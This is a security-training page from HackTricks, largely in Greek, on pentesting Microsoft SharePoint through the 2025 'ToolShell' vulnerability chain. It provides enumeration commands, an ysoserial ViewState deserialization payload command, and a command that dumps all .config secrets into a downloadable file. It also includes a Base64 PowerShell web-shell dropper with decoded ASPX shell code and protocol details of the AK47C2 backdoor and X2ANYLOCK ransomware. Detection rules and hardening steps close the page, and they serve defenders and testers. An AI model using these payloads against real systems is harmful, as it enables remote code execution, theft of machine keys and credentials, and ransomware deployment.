Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Microsoft SharePoint (on-premises) είναι χτισμένο πάνω από ASP.NET/IIS. Οι περισσότερες από τις κλασικές επιφάνειες επίθεσης στο διαδίκτυο (ViewState, Web.Config, web shells, κ.λπ.) είναι επομένως παρούσες, αλλά το SharePoint περιλαμβάνει επίσης εκατοντάδες ιδιόκτητες σελίδες ASPX και διαδικτυακές υπηρεσίες που διευρύνουν δραματικά την εκτεθειμένη επιφάνεια επίθεσης. Αυτή η σελίδα συγκεντρώνει πρακτικά κόλπα για την καταμέτρηση, εκμετάλλευση και διατήρηση μέσα σε περιβάλλοντα SharePoint με έμφαση στην αλυσίδα εκμετάλλευσης του 2025 που αποκαλύφθηκε από την Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> επιτρέπει την εισαγωγή αυθαίρετου Server-Side Include κώδικα στη σελίδα, ο οποίος στη συνέχεια μεταγλωττίζεται από το ASP.NET. Ένας επιτιθέμενος μπορεί να ενσωματώσει C# που εκτελεί Process.Start() και να ρίξει ένα κακόβουλο ViewState.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Η ίδια σελίδα εμπιστεύεται την κεφαλίδα X-Forms_BaseUrl για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε /_layouts/15/, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί χωρίς αυθεντικοποίηση.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Μόλις ο επιτιθέμενος ελέγξει μια συσκευή στο ToolPane.aspx, μπορεί να δημοσιεύσει μια μη υπογεγραμμένη (ή μόνο MAC) τιμή __VIEWSTATE που ενεργοποιεί την αποσυμπίεση .NET μέσα στο w3wp.exe, οδηγώντας σε εκτέλεση κώδικα.

Αν η υπογραφή είναι ενεργοποιημένη, κλέψτε το ValidationKey/DecryptionKey από οποιοδήποτε web.config (βλ. 2.4) και πλαστογραφήστε το payload με ysoserial.net ή ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Για μια λεπτομερή εξήγηση σχετικά με την κακή χρήση του ASP.NET ViewState διαβάστε:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Διαδρομή Traversal / Αποκάλυψη web.config

Η αποστολή ενός κατασκευασμένου παραμέτρου Source στο ToolPane.aspx (π.χ. ../../../../web.config) επιστρέφει το στοχευμένο αρχείο, επιτρέποντας τη διαρροή:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ κατασκευή ViewState / ASPXAUTH cookies
  • συμβολοσειρές σύνδεσης & μυστικά.

3. Συνταγές μετά την εκμετάλλευση που παρατηρήθηκαν στην άγρια φύση

3.1 Εξαγωγή κάθε αρχείου .config (παραλλαγή-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Το αποτέλεσμα του debug_dev.js μπορεί να κατέβει ανώνυμα και περιέχει όλες τις ευαίσθητες ρυθμίσεις.

3.2 Αναπτύξτε ένα ASPX web shell κωδικοποιημένο σε Base64 (παραλλαγή-2)

powershell.exe -EncodedCommand <base64>

Παράδειγμα αποκωδικοποιημένου payload (συμπτυγμένο):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Γραμμένο σε:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

Ίδιο shell αλλά:

  • τοποθετημένο κάτω από ...\15\TEMPLATE\LAYOUTS\
  • τα ονόματα μεταβλητών μειωμένα σε μονά γράμματα
  • προστέθηκε Thread.Sleep(<ms>) για αποφυγή sandbox & παράκαμψη AV με βάση το χρόνο.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (παρατηρήθηκε 2025-2026)

Πρόσφατες έρευνες αντίκτυπου περιστατικών (Unit42 “Project AK47”) δείχνουν πώς οι επιτιθέμενοι εκμεταλλεύονται την αλυσίδα ToolShell μετά την αρχική RCE για να αναπτύξουν ένα διπλό κανάλι C2 εμφύτευμα και ransomware σε περιβάλλοντα SharePoint:

AK47C2 – dnsclient variant

  • Σκληρά κωδικοποιημένος DNS server: 10.7.66.10 που επικοινωνεί με τον εξουσιοδοτημένο τομέα update.updatemicfosoft.com.
  • Τα μηνύματα είναι JSON αντικείμενα XOR-κρυπτογραφημένα με το στατικό κλειδί VHBD@H, κωδικοποιημένα σε hex και ενσωματωμένα ως υποτομείς.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Μακροχρόνιες ερωτήσεις χωρίζονται σε κομμάτια και προσαρτώνται με s, στη συνέχεια επανασυντίθενται από τον server.
  • Ο server απαντά σε TXT records που φέρουν το ίδιο XOR/hex σχήμα:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Η έκδοση 202504 εισήγαγε μια απλοποιημένη μορφή <COMMAND>::<SESSION_KEY> και δείκτες κομματιών 1, 2, a.

AK47C2 – httpclient variant

  • Επαναχρησιμοποιεί την ακριβή JSON & XOR ρουτίνα αλλά στέλνει το hex blob στο HTTP POST body μέσω libcurl (CURLOPT_POSTFIELDS, κ.λπ.).
  • Η ίδια ροή εργασίας task/result επιτρέπει:
  • Εκτέλεση αυθαίρετων εντολών shell.
  • Δυναμικό διάστημα ύπνου και οδηγίες kill-switch.

X2ANYLOCK ransomware

  • 64-bit C++ payload που φορτώνεται μέσω DLL side-loading (βλ. παρακάτω).
  • Χρησιμοποιεί AES-CBC για δεδομένα αρχείων + RSA-2048 για να τυλίξει το κλειδί AES, στη συνέχεια προσθέτει την επέκταση .x2anylock.
  • Κρυπτογραφεί αναδρομικά τοπικούς δίσκους και ανακαλυμμένα SMB shares; παραλείπει συστήματα διαδρομών.
  • Ρίχνει σημείωμα σε καθαρό κείμενο How to decrypt my data.txt ενσωματώνοντας μια στατική Tox ID για διαπραγματεύσεις.
  • Περιέχει ένα εσωτερικό kill-switch:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Ο επιτιθέμενος γράφει dllhijacked.dll/My7zdllhijacked.dll δίπλα σε ένα νόμιμο 7z.exe.
  2. Το w3wp.exe που δημιουργείται από το SharePoint εκκινεί το 7z.exe, το οποίο φορτώνει την κακόβουλη DLL λόγω της σειράς αναζήτησης των Windows, καλώντας το entrypoint του ransomware στη μνήμη.
  3. Ένας ξεχωριστός φορτωτής LockBit παρατηρήθηκε (bbb.msiclink_x86.execlink_dll_x86.dll) που αποκρυπτογραφεί τον shell-code και εκτελεί DLL hollowing στο d3dl1.dll για να τρέξει το LockBit 3.0.

info

Η ίδια στατική Tox ID που βρέθηκε στο X2ANYLOCK εμφανίζεται σε διαρροές βάσεων δεδομένων LockBit, υποδεικνύοντας επικάλυψη συνεργατών.


4. Detection ideas

TelemetryWhy it is suspicious
w3wp.exe → cmd.exeΗ διαδικασία εργασίας θα πρέπει σπάνια να δημιουργεί shell
cmd.exe → powershell.exe -EncodedCommandΚλασικό μοτίβο lolbin
Γεγονότα αρχείων που δημιουργούν debug_dev.js ή spinstall0.aspxIOCs απευθείας από το ToolShell
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs)Δημόσιες PoCs καλούν αυτή τη σελίδα

Example XDR / Sysmon rule (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Σκληροποίηση & Μετριασμός

  1. Patch – Οι ενημερώσεις ασφαλείας του Ιουλίου 2025 διορθώνουν όλες τις τέσσερις CVEs.
  2. Rotate κάθε <machineKey> και ViewState μυστικά μετά από παραβίαση.
  3. Αφαιρέστε την άδεια εγγραφής LAYOUTS από τις ομάδες WSS_WPG & WSS_ADMIN_WPG.
  4. Εμποδίστε την εξωτερική πρόσβαση στο /_layouts/15/ToolPane.aspx σε επίπεδο proxy/WAF.
  5. Ενεργοποιήστε ViewStateUserKey, MAC enabled, και προσαρμοσμένο EventValidation.

Σχετικά κόλπα

  • IIS post-exploitation & κακή χρήση web.config:

IIS - Internet Information Services

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks